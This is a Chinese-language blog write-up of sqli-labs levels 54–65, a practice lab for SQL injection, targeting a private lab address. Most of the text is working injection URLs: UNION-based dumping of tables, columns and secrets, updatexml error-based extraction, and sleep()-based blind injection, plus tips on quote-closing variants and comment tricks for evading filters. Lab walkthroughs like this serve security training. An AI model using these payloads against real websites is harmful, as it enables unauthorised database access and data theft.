当前位置:首页 > 数据库 > 正文

sqli-labs less54-65

2024-03-31 数据库

 

 

 

 

less 54

?id=1

 

 

http://192.168.50.100/sqli-labs/Less-54?id=1‘ order by 3 --   正常   

http://192.168.50.100/sqli-labs/Less-54?id=1‘ order by 4 --   不正常

 

 

 

?id=0‘  union  select 1,2,database()--    查看当前数据库

 取出表名

http://192.168.50.100/sqli-labs/Less-54?id=-1‘ union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--

 

 

 http://192.168.50.100/sqli-labs/Less-54?id=-1‘ union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name =‘ixfl7b4dbx‘ --

 

 

 

 

id,sessid,secret_GWNP,tryy

 取出数据

http://192.168.50.100/sqli-labs/Less-54/?id=0‘ union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_GWNP,tryy)  )) from challenges.ixfl7b4dbx --

 

 

 

 

输入拿到的secret:

在最下面 submit:

 

 

less-55

 

这次是14次。

数据格式变成id=(1),其他步骤均相同

 

less-56

数据格式变成id=(‘1’),其他步骤均相同

 

less-57

这次还是14次。

数据格式变成id=“1”,其他步骤均相同

 

 

less-58

本关不能使用联合查询,并且要求在5次之内获得数据。

使用报错注入:

 

获得表名:之前已经知道数据库的名字是challenges

获得表名

 

http://192.168.50.100/sqli-labs/Less-58/?id=1‘ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘CHALLENGES‘) ),1)--

 

 

 

 

uqlwc9pzmc

 

获取字段:http://192.168.50.100/sqli-labs/Less-58/?id=1‘ and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name=‘uqlwc9pzmc‘ )),1)--

 

 

‘~id,sessid,secret_CG31,tryy‘

 

 获取字段的值:http://192.168.50.100/sqli-labs/Less-58/?id=1‘ and updatexml(1,concat(0x7e,(select group_concat(secret_CG31) from challenges.uqlwc9pzmc )),1)--

 

 

 

 e3erYMx7A5uHBZwRqg2Drlef

最后submit

 

 

 

 

less-59

 

同样是使用报错注入,区别在于对id值得处理,id=1,就是没有包裹。

 

 

 

less-60 

 

同样是使用报错注入,区别在于对id值得处理,id=(“1”),

 

 

 

less-61 

 

同样是使用报错注入,区别在于对id值得处理,id=((‘1’)),的。

 

 

 

 

 

less-62

看到有130次机会就知道要盲注了。他题目中已经给出了数据库名,所以再猜解表名,字段名和值就可以了,这里简单演示:
http://192.168.50.100/sqli-labs/Less-62/?id=1‘) and if( left( (select table_name from information_schema.tables where table_schema=‘CHALLENGES‘ limit 0,1),1)> ‘a‘ ,1, sleep(5)) --

 

 

 

less-63

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=‘1‘ LIMIT 0,1

 

less-64

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=((1)) LIMIT 0,1

 

less-65

同样是延时注入,只是对于id值的处理不同:

 

SELECT * FROM security.users WHERE id=("1") LIMIT 0,1

 

 

 

 

id或者sort闭合的方式:‘’、“”、()、(’‘)、(“”)、((’‘)),等等吧,根据不同的数据格式判断出不同sql闭合语句。

 

注释符:-- --空 # #  和;  有的WAF会使注释符过滤转义,所以需要多记几个

 

手工注入的几种姿势:报错注入、布尔盲注、时间盲注、读文件、写文件、堆叠注入、一句话木马、参数污染等等等

 

温馨提示: 本文由Jm博客推荐,转载请保留链接: https://www.jmwww.net/SQL/11855.html